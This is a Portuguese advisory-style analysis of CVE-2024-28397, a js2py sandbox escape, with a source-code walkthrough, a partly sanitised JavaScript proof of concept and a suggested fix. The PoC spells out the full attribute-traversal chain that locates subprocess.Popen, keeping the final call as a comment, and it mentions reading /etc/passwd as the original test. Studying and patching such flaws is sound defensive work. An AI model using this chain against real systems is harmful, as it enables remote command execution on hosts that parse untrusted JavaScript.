Análise detalhada de CVE-2024-28397, uma vulnerabilidade de escape de sandbox em js2py permitindo RCE via travessia de objeto Python. Inclui análise de código, PoC e recomendações de correção para pesquisa defensiva.
js2py é um pacote Python popular que pode avaliar código JavaScript dentro do interpretador Python. É usado por vários scrapers web para analisar código JavaScript em sites.
Existe uma vulnerabilidade na implementação de uma variável global dentro do js2py, permitindo a um atacante obter uma referência a um objeto Python no ambiente js2py, permitindo assim escapar do ambiente JS e executar comandos arbitrários no host.
Normalmente, um usuário chamaria js2py.disable_pyimport() para impedir que o código JavaScript escape do ambiente js2py. Mas com esta vulnerabilidade, um atacante pode contornar essa restrição e executar qualquer comando no host de destino.
O ator da ameaça pode hospedar um site contendo um arquivo JavaScript malicioso ou enviar um script malicioso via API HTTP para a vítima analisar. Ao fazer isso, o ator pode alcançar execução remota de código no host executando comandos de shell arbitrários no alvo.
js2py é uma biblioteca Python comumente usada em crawlers, usada para analisar e executar código JS em um ambiente Python nativo. Crawlers geralmente usam js2py para analisar código JS obtido da web, simulando assim o ambiente do navegador.
No entanto, o js2py tem uma função extremamente perigosa para crawlers: ele suporta importar e usar pacotes Python em JS, o que significa que o js2py permite que código JS manipule várias bibliotecas Python e interaja diretamente com o ambiente Python. Precisamente por causa disso, podemos usar um método semelhante ao Jinja SSTI e, no ambiente js2py, usar um objeto Python para encontrar a classe subprocess.Popen e alcançar RCE.
Além disso, como o js2py é um pacote da era do Python2, amplamente utilizado e há muito tempo sem manutenção, deve ser relativamente fácil de analisar.
Após definir pontos de interrupção, pode-se descobrir que o local onde o código JS é realmente analisado é a função Eval de host/jseval.py. Ao definir pontos de interrupção nela, você pode ver o código Python convertido pelo js2py.
Por exemplo, este trecho de código JS:
let a = 114
console.log(a)
No final, será analisado neste trecho de código Python:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
Pode-se ver que as variáveis na camada JS são todas armazenadas na variável Python var. Todos os valores da camada JS são armazenados de forma limpa como a classe PyJs (aqui Js é na verdade uma função, explicado mais adiante). As funções também são chamadas por meio de callprop. Em circunstâncias normais, o código JS não pode tocar em objetos Python.
Ao examinar o código, percebeu-se que o autor realmente gostava de usar concatenação de strings para construir o código Python final, então surgiu a ideia de que o código JS poderia ser construído para gerar código Python ilegal, dessa forma construindo código Python arbitrário e executando-o. Mas considerando que esse caminho é muito mais difícil do que o caminho posterior, ele não foi explorado mais a fundo.
Para obter um objeto Python e implementar RCE, a primeira coisa a ver, obviamente, é como objetos Python são convertidos em objetos PyJs.
Primeiro, localize a implementação da função Js, em base.py. O papel da função Js é converter o valor Python recebido no valor PyJs correspondente, permitindo assim que o código JS manipule esses valores.
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # several lines omitted here
else: # try to convert to js object
return py_wrap(val)
Pode-se ver que as estruturas de dados básicas do Python, como bool, float, list, etc., serão convertidas em classes PyJs dedicadas, enquanto outros tipos de dados serão tratados por py_wrap e, por fim, se tornarão a classe PyObjectWrapper.
Classes PyJs comuns representam números, booleanos e outros dados comuns, enquanto PyObjectWrapper representa dados especiais, como módulos Python. Portanto, desde que obtenhamos um dado do tipo PyObjectWrapper, podemos usar um método de acesso a atributos semelhante ao Jinja SSTI para alcançar RCE.
De modo geral, dados do tipo PyObjectWrapper só podem ser obtidos quando a função de importação de pacotes Python está habilitada, mas como o js2py está há muito tempo sem manutenção e não considerou cuidadosamente as diferenças entre Python2 e Python3, uma vulnerabilidade de escape de sandbox acabou ocorrendo.
Nota lateral: Ao olhar a implementação de PyJs, vi que o autor escreveu estas linhas de código:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
Pode-se dizer que o autor detesta o Python3.
Embora o js2py forneça a função de converter código JS em código Python, ele também fornece vários objetos embutidos, como console e Object, para suportar a execução normal do código JS.
Nosso objetivo final é contornar a restrição do pyimport e obter um objeto PyObjectWrapper. Pela análise acima, pode-se ver que, para obter um objeto PyObjectWrapper do nada, só podemos partir da implementação dos objetos embutidos e extrair um objeto PyObjectWrapper deles.
Comece examinando o código de implementação dos objetos embutidos. Em constructors/jsobject.py, você pode ver a implementação de várias funções no objeto Object, incluindo funções comumente usadas como Object.keys.
Então, você pode ver esta função:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
O js2py usa dict para representar objetos em JS. O keys() aqui chama o keys() do dicionário Python. Qualquer pessoa que estudou Python deve saber que no Python2 essa função retorna uma lista, enquanto no Python3 ela retorna uma visão dict_keys. De acordo com a implementação acima da função Js, esse dict_keys será convertido em PyObjectWrapper e, assim, podemos alcançar RCE.
Primeiro, verifique se getOwnPropertyNames pode obter um PyObjectWrapper:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
Ele imprimiu PyObjectWrapper(dict_keys([])), claro que pode.
Então, com base neste objeto, obtemos a função __getattribute__ e podemos facilmente alcançar RCE. Ao escrever o PoC, foi pensado de forma complicada demais; na verdade, apenas usar __class__.__base__ é suficiente para obter a função __getattribute__.
Então, com base na função __getattribute__, obtenha o objeto object e escreva uma função recursiva para encontrar qualquer classe de qualquer módulo. Aqui, para RCE, o que se procura é subprocess.Popen.
NOTA (saneada): O trecho de código abaixo é mostrado apenas para fins educacionais e de pesquisa. Ele foi saneado para evitar facilitar o uso indevido: comandos de shell sensíveis e execução direta do sistema foram substituídos por espaços reservados. Não execute isso contra sistemas de produção ou não corrigidos.
import js2py
code = """
let cmd = "DUMMY_CMD" # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""
# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.
Número da versão do componente afetado:
Produtos afetados:
Passos para reproduzir (somente laboratório):
pip install js2py para instalar o js2py e execute um script PoC saneado em um ambiente de laboratório isolado. O PoC original tentava executar comandos como head -n 1 /etc/passwd e calculadoras; neste repositório, eles são substituídos por espaços reservados seguros.PyObjectWrapper pode ser obtido de Object.getOwnPropertyNames({}), permitindo a travessia de atributos para alcançar as partes internas do Python.Como o problema está na função getOwnPropertyNames, converter o dict_keys que ela retorna em uma lista normal corrige o problema. Uma correção sugerida é envolver obj.own.keys() com list(...) antes de retornar.
Este repositório é apenas para fins educacionais e de pesquisa defensiva. Não use nenhuma das informações ou códigos aqui para atacar sistemas sem autorização explícita. Os trechos de PoC foram saneados para evitar facilitar o uso indevido.
Compilado e traduzido para uso em pesquisa e defesa.